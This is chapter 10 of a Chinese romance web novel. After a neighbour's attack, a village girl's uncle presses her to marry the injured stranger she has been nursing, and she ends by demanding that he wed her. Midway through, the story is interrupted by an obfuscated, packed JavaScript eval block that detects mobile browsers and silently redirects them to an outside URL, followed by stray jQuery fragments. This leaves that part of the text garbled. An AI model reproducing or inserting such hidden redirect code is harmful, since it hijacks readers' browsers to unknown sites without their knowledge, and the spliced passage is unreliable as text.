第十章
随着王大娘的忿忿离去,门外的村民们也逐渐散了。
四处还凌乱不堪着,丁叔上前将院门关掩上,而后佝偻着老腰开始收拾。
丁翠薇方才同人撕扯一番,此时发髻纷乱,蓬头垢面,面颊还有几道微红的指甲印,打眼瞧着愈发像个粗鄙的乡野村妇。
如若旁的女子遭遇此事,只怕要自艾自怜,抱怨一通世道不公。
她却没有,反而倔强昂起头颅,像个打了胜仗的将军。
“郎君放心,那老虔婆没占到什么便宜。我不过被扯落几根头发,而她胳膊上的齿痕没有十天半个月可消不了。哼,我们两人一狗,莫非还打不过她一个么?今后她若还敢来,必让她吃不了兜着走!”
遇事必争,是丁翠薇的生存之道,所以她并不怕同人起冲突。
可现在面对俞泽,她竟后知后觉生出几分羞腆,抬起鸦羽般的眼睫,抬眼带着崇拜望他两眼,而后又迅速垂落,她不自觉捋了捋鬓边的发丝,语调放轻柔了不少。
“……方才必是惊扰到郎君了,我们这等乡野粗陋之地,为几颗果子大打出手都是常有的事……属实没想到郎君竟还通晓律法,真真是好厉害,果然人还是要多读些书,如此才能以理服人,不必像我这样争强斗狠。”
俞泽强忍着烦躁,并不因她的夸赞而感到高兴,只道:“去洗把脸,把头重新梳一梳。”
他从未想过有一日,竟会处理此等微末的妇人之争。初到此地时,或还会对这乡野陋地产生些许新鲜感,可随着时间逐渐推移,无论是难以下咽的膳食,还是眼前逼仄狭小的宅院,都让他感到无比厌烦。
那张躺上去就咯吱作响的床榻,各种各样的牲畜叫声,以及丁翠薇张家长李家短的絮叨……桩桩件件都让他难以忍受。
也罢,按照伤势的恢复情况,只需再过上一阵,就能从此地彻底脱身。
经过接二连三的折腾,丁翠薇委实疲累不已,用过晚膳后,便想着烧了热水早些沐浴安歇,取了木桶去溪边打水,丁叔不放心她独自出门,留了旺财看家,跟了出来。
丁翠薇将木桶倾斜探入水中,随着水波荡漾的“哗哗””声,河水欢快涌入桶中,正预备着往回走,却听到身后传来冷沉一声。
“薇娘,你岂能因我犯病糊涂着,就自作主张惹出此等祸事?以往我是如何教你的?跪下。”
丁翠薇浑身颤栗一下,手中木桶吊落溪面……她其实隐隐有些猜到,自那日采神绛草后,丁叔或就已经清醒,现在看来,果真如此。
她将水桶捞了回来,然后就直挺挺跪在丁叔身前。
“叔伯,薇娘知错。薇娘不该擅自将俞郎君救回来,更不该弃男女大防不顾,与他共屋而眠,可叔伯明鉴,我同他并无任何逾矩之处,除平日上药以外,更无任何亲密之举……”
“众口铄金,积毁销骨,我自是信得过你,可旁人信么?那王大娘今日都闹到家里来了,由此可见外头那些谣言传得多离谱,薇娘,长此以往,你要如何做人?”
丁叔颇为痛心疾首。
丁翠薇抿抿薄唇,依旧梗着脖子犟道,“无论他们如何说嘴,反正我身正不怕影子斜。叔伯,我都想好了,待俞郎君伤一好,我就带着你回衡州寻亲,到了那里,谁都不知晓我的过往,一切都可重新来过。”
丁叔摇摇头,只觉她想得过于天真。
“这天下没有不透风的墙,你当去了衡州就能捂得下此事么?如今这世道,谁家嫁娶之前都会将对方底细盘查清楚,你声名败坏至此,莫说无人敢娶,只怕今后经商开铺都是个隐患。”
丁翠薇袖下的指尖攥紧成拳头。
“如若未来夫婿因此不肯娶我,他待我便不是真心,我又何必去受那窝囊气?且嫁人这事儿也无甚意思,我大不了……大不了去做个云游天下,走街串巷的商贩……再不济…俞郎君说会重金酬报于我,我靠吃利钱也能过活,不必仰仗男人的脸色过日子。”
“傻薇娘,你还没有尝够教训么?你个手无缚鸡之力的弱女子,生得貌美就已足够令人垂涎,若还怀有巨富,更会招致杀身祸端。我若还活在世上,自是拼尽全力护你周全,可哪日若我死了,你又没有夫婿,这世间有谁能做你的依仗?”
点点繁星倒影在波光粼粼的河面,丁叔多年来因病痛而折磨的身形,在浅白的月光下显得愈发瘦弱,苍老的声音悠悠飘荡在寂静的夜空,听得丁翠薇心头发酸。
丁叔这番考虑很是周到,是她以往从未想到过的,一颗心七零八散落不到实处,一时间心中也没有主意,终究在沉默许久后,吸吸发酸的鼻头问道,“……那…该如何是好?”
丁叔眸光深邃而凝重,在来回踱了几步后,似是终于拿定了主意,一字一句道,“事已至此……你同他立即拜堂成亲吧。”
“原也不想让你这般仓促嫁人,可唯有如此,才能破了眼前困局。据我这几日观察看来,此人相貌与你尚算登对,且能文会武,又对律例如数家珍……其才学至少不在曹安之下。且你们同屋而眠月余,他却行规蹈距,对你并未起任何歹心歹念,由此可见……倒也算得上是个坐怀不乱的真君子。”
“薇娘,此人可嫁。”
丁翠薇瞳孔骤然紧缩,心脏剧烈跳动,仿佛要由胸腔中蹦出来。
她从未动过这样的念头,所以下意识慌乱无措地摆手,“不,不成的。我同他只是萍水相逢,他对我也只是以礼相待,并无半分男女私情……”
“他喜不喜欢有何要紧,重要的是你自己的心意!”
丁叔从小看着丁翠薇长大,对她的脾气秉性最是了解,这几日下来,便知她早就动了心,可又迫于现实差距,不敢肖想。
“既是施恩图报,岂能只图钱财,要图就图个终身!”
“好孩子,自古红颜多是非,就算你嫁入寻常百姓人家,只怕也未必过得安生,可那俞郎君不一样,我去翻查过他的随身物件,样样都是用料上乘的佳品,由此可见,他就算不是世家勋贵,那至少也是巨贾之家,非得将你嫁入这样的门户,我才能安心。”
“你嫁给他为妻,进,则得入高门,衣食无忧,指不定还能搏个夫妇相谐恩爱白头,一生一世一双人;退,可化解众人的造谣攀蔑,洗净污名,换个清清白白的好名声,就算今后远走他乡,行事经商也可免受流言纷扰。”
丁叔想来权衡已久,将这桩婚事的利弊分析得明明白白,苦口婆心的话语声,尽数传入丁翠薇的耳中,可她实在有些消化不来,只觉脑中思绪万千,全都搅在一起理不出个头绪。
“此事事关重大,叔伯……你容我好好想想。”
春夜,清爽且宁静。
丁翠薇沐浴醒了醒神,就衣衫单薄,枯坐院中。远处传来几声蛙鸣,萤火虫提着绿灯笼穿梭盘桓,旺财趴在她脚边打着狗盹……原是极其惬意闲暇的时刻,可她却难以享受其中。
只满心都在想:所以当真……要和俞泽成亲么?
不,不可以。
当初她救人时确有私心,可她至多就只想图谋些钱财,这对于家底丰厚的俞泽来说,是能偿付得起的代价,但婚嫁乃终身大事,他岂肯轻易相与?
就算强逼他娶了自己,今后大抵也只会是对两看两相厌的怨偶。
丁翠薇摇了摇头,内心经过剧烈挣扎后,终于做了决定,腾然由木椅上站起身来,就准备进屋回复丁叔:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471587|169881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此举不妥。
可就在此时,肩头忽然一暖,件夹棉的薄氅轻轻披落,丁翠薇怔然回望,正正撞进俞泽深邃似渊的眸中。
月光宛如银纱,他一身素衣随风轻舞,仿佛将满天星辰都卷入衣袂之中,举手投足尽显清贵。
“莫要着凉。”
这寥寥几字的关怀,忽就撞得丁翠薇心神晃荡。
她双手不自觉揪着衣边,耳朵微微发烫,整个人僵立原地动弹不得,可一想到再过些时日,今后就再也见不到眼前之人,心底就不由涌上些痛楚与酸涩,她吸吸微红的鼻头,“……郎君怎得出来了。”
俞泽实则是自己想出房透透气,就连给她披的那件衣裳,原也是给自己准备的,可此时只抬手为她将衣带系紧,温柔缱绻道,“眼见你迟迟未归,我哪能放心得下……”
或就是他这般若近若离的姿态,才勾得丁翠薇情难自禁。
她略带几分痴意望着他,方才好不容易建立的心防,几乎就在这瞬间迅速坍塌,她心中甚至隐隐生出些侥幸与赌心……
如若二人当真成亲,她好好安守后宅相夫教子,那他说不定就会对自己日久生情?
头次情窦初开的女子,并没有太多理智。
这个念头一旦冒了头,就再也按不下去,疯狂在脑中生根蔓延。
俞泽见她眸眶微湿,只以为她在为下午的事情难过,免不得再温声抚慰几句,“‘莫道谗言如浪深,莫言迁客似沙沉。千淘万漉虽辛苦,吹尽狂沙始到金’,薇娘你为人正直,品性端良,相信过不了多久,那些流言就会不攻自破的,你莫要为此烦忧。”
在他温柔熨帖的话语声中,丁翠薇深呼吸一口,似是终于下定了某种决心。
强扭的瓜甜不甜?不知道。
可能甜,可能苦。
是甜是苦不重要,可能最重要。
哪怕只为自己余生不后悔,她也要以身入局,将这瓜扭下来,送到嘴里尝上一尝!
想清楚之后,丁翠薇不再纠结拧巴。
她望向俞泽的眸光中,甚至带了几分就事论事的冷酷。
“你们男子汉大丈夫,岂能体谅我们女子为人处世的艰难?郎君这话说得轻巧,可受人非议指摘的是我,遭人唾骂污蔑的也是我,届时郎君伤愈后拍拍屁股就走了,只独留我一人受过,难道今后日日都要过得这般不安生么?”
丁翠薇无论对外如何张牙舞爪,可在俞泽面前,她也从来都是温和顺服的。以至于俞泽现下听了这番话,并未往心中深想,只当她不过耍耍小性子罢了。
他略带几分敷衍,轻揉揉她的肩头,依旧是以往搪塞的姿态。
“确是因我,所以才让你受了这诸多委屈。薇娘放心,我不会亏待于你,离开之前必给你留下笔丰厚酬金,不让你与丁叔有任何后顾之忧……”
“仅是酬金怎么够?”
丁翠薇此时仿若变了一个人,浑身绷直,眸光冷峻,薄唇紧抿,显得格外严肃。
“其实他们也没有说错,你我确实同屋而住,同塌而眠,朝夕相处,日夜相对……若非当时你苦苦哀求我救你性命,我又岂会陷入此等境地,女儿家名声何其金贵,难道是能用区区钱财就可补偿的?”
“郎君莫非就从未想过为此负责,只想这么黑不提白不提蒙混过去?”
眼见她这般咄咄逼人,俞泽从容的神色瞬间凝固,他一时不知她打得什么主意,眼眸微眯,透着寒潭中潜藏的暗流。
“……那薇娘想让我如何?”
丁翠薇袖下的指尖紧攥成拳,直至贝齿将唇壁咬破,尝到腥甜的鲜血,这才一字一句道。
“我要你同我拜堂成亲,娶我为妻。”